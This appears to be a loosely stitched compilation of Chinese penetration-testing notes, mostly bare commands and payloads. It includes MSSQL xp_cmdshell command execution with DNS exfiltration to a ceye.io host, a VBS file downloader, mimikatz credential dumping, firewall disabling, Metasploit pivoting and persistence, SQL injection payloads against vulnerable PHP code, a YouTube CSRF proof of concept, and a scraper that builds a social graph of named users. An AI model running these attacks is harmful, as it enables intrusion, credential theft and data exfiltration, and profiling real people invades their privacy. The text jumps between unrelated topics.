EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

exec master..xp_cmdshell "whoami"

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

ipconfig

net group /domain

systeminfo

netstat -ano

arp -a

load mimikatz

mimikatz_command -f sekurlsa::logonPasswords

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netsh firewall set opmode mode=disable

portfwd add -l 3389 -p 3389 -r 192.168.50.2

run autoroute -s 192.168.50.2/24

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit

run metsvc

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

1. 001     [留言成功]
2. 002\    [留言失败]
3. 003#    [留言成功]
4. 004'    [留言失败]
5. 005"    [留言成功]
6. 006)    [留言成功]
7. 007')   [留言失败]
8. 008')#  [留言失败]

1. 009','')#      [留言失败]
2. 010','','')#    [留言成功]

K8系列工具集：https://gitee.com/sq_smile/K8tools

内网渗透系列：https://gitee.com/sq_smile/Intranet_Penetration_Tips

安全行业从业者自研扫描器：https://gitee.com/sq_smile/Scanners-Box

渗透与测试红队工具集：https://gitee.com/sq_smile/Shr3dKit    

$sql="select * from user where password like '%$pwd%' order by password";

'and 1=1 and '%'='

select * from user where password like '%fendo'and 1=1 and '%'='%' order by password

1 搜索keywords‘，如果出错的话，有90%的可能性存在漏洞；



2 搜索 keywords%，如果同样出错的话，就有95%的可能性存在漏洞；



3 搜索keywords% 'and 1=1 and '%'='（这个语句的功能就相当于普通SQL注入的 and 1=1）看返回的情况



4 搜索keywords% 'and 1=2 and '%'='（这个语句的功能就相当于普通SQL注入的 and 1=2）看返回的情况



5 根据两次的返回情况来判断是不是搜索型文本框注入了

'and 1=1 and '%'='



%' and 1=1--'



%' and 1=1 and '%'='

    <?

    $pwd=$_GET['pwd'];

    $conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库

    if($conn){

    	echo "连接数据库成功!"; 

    }//判断连接是否成功

    echo "<br>";

    mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库（fendo）

    $sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句

    $result=mysql_query($sql);

    while($row = mysql_fetch_array($result)){ 

    	echo "用户ID：".$row['id']."<br >";

    	echo "用户名：".$row['username']."<br >";

    	echo "用户密码：".$row['password']."<br >";

    	echo "用户邮箱：".$row['email']."<br >";

    }

    mysql_close($conn); //关闭数据库连接

    echo "<hr>";

    echo "你当前执行的sql语句为："."<br >";

    echo $sql;

    ?>

%' union select 1,2,3,4,...... and '%'='

  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

%'and(select count(*)from admin)>0 and '%'='

<?  



//--------------------------post处理--------------------------------//  



$name=addslashes($_POST['n']);   



$pass=addslashes($_POST['p']);  



$conn = mysql_connect('127.0.0.1','root','123');   



if($conn){  



    echo "mysql连接成功";  



    echo "<hr>";    



}  



mysql_select_db('fendo',$conn);    



$sql="select * from user where username='$name' and password='$pass'";  



$result=mysql_query($sql);  



mysql_close($conn);  



while($row = mysql_fetch_array($result)){  



    echo "用户ID：".$row['id']."<br >";  



    echo "用户名：".$row['username']."<br >";  



    echo "用户密码：".$row['password']."<br >";  



}  



echo "当前执行的sql语句：".$sql;  



?>  



 



<form action="" method="POST">  



账号：<input name="n" type="text" /><br><br>  



密码：<input name="p" type="text" /><br><br>  



<input name="" type="submit" value="提交" />  



 



</form>  

' or 1=1#  

' order by 4#  

'or 1=1 union select 1,2,3,4 #  

'or 1=1 union select username,password,3,4 from user#   

1.你们之间有共同朋友或存在相互朋友关系，这也是建立这种可能认识关系的最根本原因；
2.你们在同一个Facebook群组中，或是在同一张照片中被标记过；
3.另外就是你们通过同一个网络出口（学校、单位）登录过Facebook账户。

https://www.facebook.com/friends/requests/?fcref=swpsa

[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed

[size=15]

POST /notifications_ajax?action_register_device=1 HTTP/1.1

Host: www.youtube.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.youtube.com/sw.js

Content-Type: multipart/form-data; boundary=---------------------------41184676334

Origin: https://www.youtube.com

Content-Length: 1459

Connection: close

Cookie: duh, cookies!

-----------------------------41184676334

Content-Disposition: form-data; name="endpoint"



https://updates.push.services.mozilla.com/wpush/v1/gAAA...



-----------------------------41184676334

Content-Disposition: form-data; name="device_id"

dbe8453d99714c6160994fdf5bb3c59332df04278a...

-----------------------------41184676334

Content-Disposition: form-data; name="p256dh_key"

BBNVkVOt6tpY1KvJJqtLvqt...

-----------------------------41184676334

Content-Disposition: form-data; name="auth_key"

V5-_lh6nYT2zoY...

-----------------------------41184676334

Content-Disposition: form-data; name="permission"

granted

-----------------------------41184676334--

<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8" />

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <title>Push Demo</title>

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />

    <script src="index.js"></script>

</head>

<body>

    <h1>Hello World</h1>

    <button id="permission-btn" onclick="main()">Ask Permission</button>

</body>

</html>



index.js：





const check = () => {

  if (!('serviceWorker' in navigator)) {

    throw new Error('No Service Worker support!')

  }

  if (!('PushManager' in window)) {

    throw new Error('No Push API Support!')

  }

}

const registerServiceWorker = async () => {

  const swRegistration = await navigator.serviceWorker.register('sw.js')

  return swRegistration

}

const requestNotificationPermission = async () => {

  const permission = await window.Notification.requestPermission()

  if (permission !== 'granted') {

    throw new Error('Permission not granted for Notification')

  }

}

const main = async () => {

  check()

  const swRegistration = await registerServiceWorker()

  const permission = await requestNotificationPermission()

}

sw.js：



self.addEventListener('activate', async () => {   console.log("Hello");

      self.registration.pushManager.subscribe()

  .then(function(subscription) {

          console.log(JSON.stringify(subscription));

  })

  .catch(function(e) {

    console.log(e);

  });

})

self.addEventListener("push", function(event) {

  if (event.data) {

    console.log("Push event!! ", event.data.text());

    showLocalNotification("Yolo", event.data.text(),  self.registration);

  } else {

    console.log("Push event but no data");

  }

});

const showLocalNotification = (title, body, swRegistration) => {

  const options = {

    body

    // here you can add more properties like icon, image, vibrate, etc.

  };

  swRegistration.showNotification(title, options);

};

<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">

        <input type="text" name="device_id" value="replace">

        <input type="text" name="permission" value="granted">

                <input type="text" name="endpoint" value="replace">

                <input type="text" name="p256dh_key" value="replace=">

                <input type="text" name="auth_key" value="replace">

        <input type="submit">

        <script type="text/javascript">document.csrf.submit();</script>

</form>

1. 设置目标机ip,set RHOST 192.168.1.175
2. 设置对面网站，set HttpHost 192.168.1.175
3. 设置返回载荷，set payload windows/meterpreter/reverse_tcp
4. 设置攻击机ip，set LHOST 192.168.1.144
5. 进行溢出，exploit

注：全文所指的“安全圈”是一个非常狭义的概念，在本文中仅覆盖到小部分安全从业者玩家，所以标题有些夸大。如有其他错误也欢迎指出。 

1.确定一个初始的ID链表，并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J，同时也是链表内另外两位黑客的共同好友，那么认为J也是安全圈内人士，加入到链表尾处。
4.向后迭代重复2、3。

def r_get(nickname,offset):

#发送给api的request

...



    return json#返回一个json格式



def get_friends(nickname):



    offset  = 0 

    res_js = r_get(nickname,str(offset))

    temp_friends = res_js['result']['board']

    if res_js['status'] == "ok":

        while len(res_js['result']['board']) == 30:

            offset = offset + 30

            res_js = r_get(nickname,str(offset))

            temp_friends = temp_friends + res_js['result']['board']

        print("   {0}   的好友人数    {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))

        friends = 

        Wxname  = ""

        Wxsex = ""

        Wxavatar  = ""

        sql = ""

        for playerinfo in temp_friends:

            if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:

                friends.append(playerinfo['nickname'])

            elif playerinfo.has_key('heybox_info') == True:

                Wxname = playerinfo['heybox_info']['username']

                Wxsex = playerinfo['heybox_info']['sex']

                Wxavatar = playerinfo['heybox_info']['avartar']

        friends_s = ','.join(friends) 



        sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \

              VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)

        return friends,sql      

    else:

        print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))

        return 1 



def record_rds(sql):

    #db操作



def main():

   ...

# -*- coding: UTF-8-*-  

from pyecharts import Graph



import json



import sys 



import sqlite3



conn = sqlite3.connect('db2.db')



c = conn.cursor()



print "Opened database successfully";



cursor = c.execute("SELECT nickname,friends FROM player")



nodes = 



links = 



temps = 



for row in cursor:



    temps.append({"name":row[0],"friends":row[1].split(",")})  



    nodes.append({"name":row[0],"symbolSize":5})



for temp in temps:



    for friend in temp["friends"]:



        if {"name":friend,"symbolSize":5} in nodes:



            links.append({"source":temp["name"],"target":friend})



graph = Graph("力导图",width=1400,height=1600)



graph.add(



    "",



    nodes,



    links,



    graph_layout = "force",



    label_pos="right",



    graph_repulsion=10,



    line_curve=0.2,



)



graph.render()

社区发现算法用来发现网络中的社区结构，多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区，从而帮助我们把安全圈和其他圈子的人分割开来。

1.历史最高Rank，即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害

1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长

KD：8.4
伤害：1099.57

KD：3.7
伤害：461.18

Salmonnnnn：4094.7144
syzhou：3906.409
ph4nt0mer：3609.1436

1. getshell或者存在sql注入并且能够执行命令。
2. sql server是system权限（默认权限），因为xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

C:\Users\ASUS>nslookup learnt.MicroSoft.Com

Server:  phicomm.me

Address:  192.168.0.1





Non-authoritative answer:

Name:    subdomain-takeover-msrc.wanybug.Com

Address:  47.52.101.203

Aliases:  learnt.MicroSoft.Com

          ldlearntest.trafficmanager.net

Name:    subdomain-takeover-msrc.wanybug.Com

Aliases:  learnt.MicroSoft.Com

          ldlearntest.trafficmanager.net

C:\Users\ASUS>nslookup www.dawine.com

Server:  google-public-dns-a.google.com

Address:  8.8.8.8





Non-authoritative answer:

Name:    dawine1.chinacloudapp.cn

Address:  139.217.132.95

Aliases:  www.dawine.com

          dawinechinaweb.trafficmanager.cn

A公司域名为 a.com 并使用云服务cloud.com提供服务，申请并得到了云服务主机 imA.cloud.com。

A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。

某天A公司的该服务因为某些原因不再使用了，于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。

此时shop.a.com 的CNAME依然是 imA.cloud.com(关键：A公司未重新设置 shop.a.com 的CNAME值)。

如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。

攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。

此时访问shop.a.com 则出现 文本"hacked!"。

* 获取Cookie

* 构造页面内容 (包括但不限于钓鱼、广告...)

* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有

    * 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)

    * 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作

    * 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容

    * 构造钓鱼页面 - 窃取用户及管理员其他的凭证

    * 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞

    * XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大

    * 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码

    * DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用

    * DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求

    * 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等

    * 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序

    * 挖矿等

*...

总之危害很大。

另外其他配置可能会扩大危害，如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。

1、手工：nslookup

2、michenriksen/aquatone命令。   aquatone-takeover    --domain   xx.com    --threads  500  

* 提高资产管理能力 (避免云服务过期或被关闭，被他人"抢注")

* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭，被他人"抢注")

* 如果被"抢注" 重新设置域名的CNAME